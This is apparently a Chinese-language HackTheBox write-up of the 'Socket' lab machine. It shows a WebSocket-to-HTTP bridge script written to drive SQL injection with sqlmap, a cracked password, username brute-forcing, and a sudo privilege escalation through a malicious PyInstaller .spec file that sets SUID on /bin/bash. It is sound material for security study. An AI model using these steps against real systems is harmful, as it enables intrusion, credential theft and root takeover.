April 5, 2023

Socket

image.png

知识点

考点:WebSocket SQL注入、Http转换、bash提权
其实这个靶场步骤很简单,感觉也挺好玩的

信息搜集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-04 20:14 CST
Nmap scan report for 10.10.11.206
Host is up (1.8s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://qreader.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: qreader.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.12 seconds

其实信息搜集后发现就开了2个端口,一个web80端口一个ssh22端口
然后我们进入web界面
image.png
这是一个app网站,我们下载windows版本的exe文件,然后用pyinstxtractor给他反编译成pyc文件:
python3 pyinstxtractor.py qreader.exe
image.png
茫茫人海中看到了今天的主角,我们接下来继续将pyc还原为py文件

1
2
3
pip3 install uncompyle6

uncompyle6 qreader.pyc > qreader.py

这个工具只支持3.9.0版本的python,不支持3.1,所以我没办法用,我直接找了个在线网站

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.9

import cv2
import sys
import qrcode
import tempfile
import random
import os
from PyQt5.QtWidgets import *
from PyQt5 import uic, QtGui
import asyncio
import websockets
import json
VERSION = '0.0.2'
ws_host = 'ws://ws.qreader.htb:5789'
icon_path = './icon.png'

def setup_env():
global tmp_file_name
pass
# WARNING: Decompyle incomplete


class MyGUI(QMainWindow):

def __init__(self = None):
super(MyGUI, self).__init__()
uic.loadUi(tmp_file_name, self)
self.show()
self.current_file = ''
self.actionImport.triggered.connect(self.load_image)
self.actionSave.triggered.connect(self.save_image)
self.actionQuit.triggered.connect(self.quit_reader)
self.actionVersion.triggered.connect(self.version)
self.actionUpdate.triggered.connect(self.update)
self.pushButton.clicked.connect(self.read_code)
self.pushButton_2.clicked.connect(self.generate_code)
self.initUI()


def initUI(self):
self.setWindowIcon(QtGui.QIcon(icon_path))


def load_image(self):
options = QFileDialog.Options()
(filename, _) = QFileDialog.getOpenFileName(self, 'Open File', '', 'All Files (*)')
if filename != '':
self.current_file = filename
pixmap = QtGui.QPixmap(self.current_file)
pixmap = pixmap.scaled(300, 300)
self.label.setScaledContents(True)
self.label.setPixmap(pixmap)


def save_image(self):
options = QFileDialog.Options()
(filename, _) = QFileDialog.getSaveFileName(self, 'Save File', '', 'PNG (*.png)', options, **('options',))
if filename != '':
img = self.label.pixmap()
img.save(filename, 'PNG')


def read_code(self):
if self.current_file != '':
img = cv2.imread(self.current_file)
detector = cv2.QRCodeDetector()
(data, bbox, straight_qrcode) = detector.detectAndDecode(img)
self.textEdit.setText(data)
else:
self.statusBar().showMessage('[ERROR] No image is imported!')


def generate_code(self):
qr = qrcode.QRCode(1, qrcode.constants.ERROR_CORRECT_L, 20, 2, **('version', 'error_correction', 'box_size', 'border'))
qr.add_data(self.textEdit.toPlainText())
qr.make(True, **('fit',))
img = qr.make_image('black', 'white', **('fill_color', 'back_color'))
img.save('current.png')
pixmap = QtGui.QPixmap('current.png')
pixmap = pixmap.scaled(300, 300)
self.label.setScaledContents(True)
self.label.setPixmap(pixmap)


def quit_reader(self):
if os.path.exists(tmp_file_name):
os.remove(tmp_file_name)
sys.exit()


def version(self):
response = asyncio.run(ws_connect(ws_host + '/version', json.dumps({
'version': VERSION })))
data = json.loads(response)
if 'error' not in data.keys():
version_info = data['message']
msg = f'''[INFO] You have version {version_info['version']} which was released on {version_info['released_date']}'''
self.statusBar().showMessage(msg)
else:
error = data['error']
self.statusBar().showMessage(error)


def update(self):
response = asyncio.run(ws_connect(ws_host + '/update', json.dumps({
'version': VERSION })))
data = json.loads(response)
if 'error' not in data.keys():
msg = '[INFO] ' + data['message']
self.statusBar().showMessage(msg)
else:
error = data['error']
self.statusBar().showMessage(error)

__classcell__ = None


async def ws_connect(url, msg):
pass
# WARNING: Decompyle incomplete


def main():
(status, e) = setup_env()
if not status:
print('[-] Problem occured while setting up the env!')
app = QApplication([])
window = MyGUI()
app.exec_()

if __name__ == '__main__':
main()

可以发现这是一个websockets服务,其中开发了5789端口,
image.png

SQL注入

在update和version路由,我们都有可控参数,可以尝试是否存在SQL注入,经过fuzz测试可以发现存在union注入,这里提供了一种很棒的思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
import json
#ws_server = "ws://localhost:8156/ws"
#ws_server = "ws://qreader.htb:5789"

#发送websocket的函数
def send_ws(payload,ws_server):
#创建一个websocket 连接句柄
ws = create_connection(ws_server)

# If the server returns a response on connect, use below line
#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
# For our case, format the payload in JSON
#message = unquote(payload["data"]).replace('"','\'') # replacing " with ' to avoid breaking JSON structure

data =payload
print(type(data))
# 将字典dumps成一个字符串的格式
str_data = json.dumps(data)
print((str_data))
ws.send(str_data)
resp = ws.recv()
print(resp)
ws.close()

if resp:
return resp
else:
return ''

def middleware_server(host_port,content_type="text/plain"):

class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
key = urlparse(self.path).query.split('=',1)[0]
#这里就是解释 key 和 value 放到一个字典中
data = {key:payload}
print(urlparse(self.path).path)
print(urlparse(self.path))
path = (urlparse(self.path).path)
#socket靶机 开放websocket的端口
ws_server = "ws://qreader.htb:5789"
ws_server = ws_server + path
print(ws_server)
except IndexError:
payload = False

if payload:
#将上面解析的 query 传给发送websocket请求的函数
content = send_ws(data,ws_server)
else:
content = 'No parameters specified!'

self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return

class _TCPServer(TCPServer):
allow_reuse_address = True

httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8082/?id=*")

try:
middleware_server(('0.0.0.0',8082))
except KeyboardInterrupt:
pass

通过上述脚本,我们可以将websocket服务转换为http服务,然后再burp和sqlmap进行测试(由于我这里有校园网,所以拉一张网图,流量又太慢妈的)
image.png
最后跑是可以跑出这样的东西的,然后md5可以在网站进行爆破解密,这里推荐个国外的https://crackstation.net/
image.png
denjanjade122566得到了密码,剩下的就是用户名了
在sqlmap进行爆破时,你也会看到这一张表
image.png

用户名爆破

其中暴露了一个用户名keller但是当你尝试用keller登录时,密码又不对,这一点就很搞知道吧
image.png
最后去论坛看了一下,发现还需要对用户名进行一个前缀爆破
用的 username-anarchy 这个工具来构造字典的
urbanadventurer/username-anarchy: Username tools for penetration testing (github.com)
感觉完全多此一举,最后发现是tkeller这个用户
image.png
获取user.txt

提权

常规思路sudo -l看看有什么可控的sudo权限
image.png
得到了一个sh脚本,我们可以看看这个脚本是干啥的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/bin/bash
if [ $# -ne 2 ] && [[ $1 != 'cleanup' ]]; then
/usr/bin/echo "No enough arguments supplied"
exit 1;
fi

action=$1
name=$2
ext=$(/usr/bin/echo $2 |/usr/bin/awk -F'.' '{ print $(NF) }')

if [[ -L $name ]];then
/usr/bin/echo 'Symlinks are not allowed'
exit 1;
fi

if [[ $action == 'build' ]]; then
if [[ $ext == 'spec' ]] ; then
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/home/svc/.local/bin/pyinstaller $name
/usr/bin/mv ./dist ./build /opt/shared
else
echo "Invalid file format"
exit 1;
fi
elif [[ $action == 'make' ]]; then
if [[ $ext == 'py' ]] ; then
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/root/.local/bin/pyinstaller -F --name "qreader" $name --specpath /tmp
/usr/bin/mv ./dist ./build /opt/shared
else
echo "Invalid file format"
exit 1;
fi
elif [[ $action == 'cleanup' ]]; then
/usr/bin/rm -r ./build ./dist 2>/dev/null
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/usr/bin/rm /tmp/qreader* 2>/dev/null
else
/usr/bin/echo 'Invalid action'
exit 1;
fi

可以发现这个脚本有3个功能,spec make build,这里我问了问newbing
image.png
image.png
然后我们通过询问,发现执行这2个命令时,我执行我们文件里的代码!
image.png
那也就是说这也是一种另类的suid,我们可以给bash或者其他的指令添加suid权限

1
2
echo import os
os.system('chmod +s /bin/bash') >> 1.spec

sudo /usr/local/sbin/build-installer.sh build 1.spec
运行过后就可以发现有suid权限了
image.png
最后就是通过bash -p以root权限启动一个bash会话
image.png
然后读取flag就好啦!
image.png

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp#HackTheBox